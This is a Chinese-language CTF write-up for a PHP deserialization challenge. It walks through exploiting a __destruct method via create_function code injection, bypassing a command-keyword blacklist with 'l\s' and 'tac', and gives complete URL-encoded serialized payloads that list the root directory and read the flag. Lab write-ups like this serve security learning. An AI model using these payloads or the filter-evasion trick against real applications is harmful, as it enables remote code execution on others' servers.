题目分析
首先打开题目看见源代码是
<?php
if (isset($_GET['p'])) {
$p = unserialize($_GET['p']);
}
show_source("index.php");
class Noteasy
{
private $a;
private $b;
public function __construct($a, $b)
{
$this->a = $a;
$this->b = $b;
$this->check($a.$b);
eval($a.$b);
}
public function __destruct()
{
$a = (string)$this->a;
$b = (string)$this->b;
$this->check($a.$b);
$a("", $b);
}
private function check($str)
{
if (preg_match_all("(ls|find|cat|grep|head|tail|echo)", $str) > 0) die("You are a hacker, get out");
}
public function setAB($a, $b)
{
$this->a = $a;
$this->b = $b;
}
}
反序列化后唯一可以运用的魔术方法是destruct,类对象摧毁时执行
public function __destruct()
{
$a = (string)$this->a;
$b = (string)$this->b;
$this->check($a.$b);
$a("", $b);
}
$a("", $b);两个参数都可控
刚开始还以为能用system,结果上网搜发现system只会执行第一个参数,第二个参数是存储命令输出的最后一行
exec也不行
exec参数说明
$command
(必需):- 要执行的系统命令。
$output
(可选):- 传入一个数组变量,用来存储命令的每一行输出。
$return_var
(可选):- 传入一个变量,用来存储命令的退出状态码(通常为 0 表示成功,非 0 表示失败)。
最后看了评论区才知道用的是create_function的漏洞
create_function函数
1. create_function
基本语法
create_function("$args", "$code")
会动态生成匿名函数。它的作用是将字符串 $args
和 $code
拼接成有效的 PHP 函数代码,并通过 eval
执行。
$args
: 传入函数的参数,通常是以字符串形式表示的参数列表。$code
: 函数的主体代码,通常也是字符串。
写一个例子
$code = "return \$a * \$b;";
$func = create_function('$a, $b', $code);
echo $func(3, 4); // 输出 12
2. 拼接后的函数代码
传入的字符串会直接拼接到 function($args) { $code }
中。因此,上述代码的实际结果是:
function() {
$code
}
由于create_function
不会对传入的 $code
参数进行任何过滤。
所以我们尝试绕过
构造payload
令$a=create_function,$b=}system("ls /");/*
拼接时代码是
function() {
}system("ls /");/*
}
此时成功执行命令
但是执行destruct方法时还会执行一个过滤函数check
private function check($str)
{
if (preg_match_all("(ls|find|cat|grep|head|tail|echo)", $str) > 0) die("You are a hacker, get out");
}
过滤了ls,所以让$b=}system("l\s /");/*
构造payload
<?php
class Noteasy{
private $a;
private $b;
public function __construct($a,$b){
$this->a=$a;
$this->b=$b;
}
}
$Noteasy=new Noteasy("create_function",'}system("l\s /");/*');
echo urlencode(serialize($Noteasy));
payload:
O%3A7%3A%22Noteasy%22%3A2%3A%7Bs%3A10%3A%22%00Noteasy%00a%22%3Bs%3A15%3A%22create_function%22%3Bs%3A10%3A%22%00Noteasy%00b%22%3Bs%3A19%3A%22%7Dsystem%28%22l%5Cs+%2F%22%29%3B%2F%2A%22%3B%7D
然后再让$b=}system("tac /flag");/*
payload:
O%3A7%3A%22Noteasy%22%3A2%3A%7Bs%3A10%3A%22%00Noteasy%00a%22%3Bs%3A15%3A%22create_function%22%3Bs%3A10%3A%22%00Noteasy%00b%22%3Bs%3A23%3A%22%7Dsystem%28%22tac+%2Fflag%22%29%3B%2F%2A%22%3B%7D
最后成功得到flag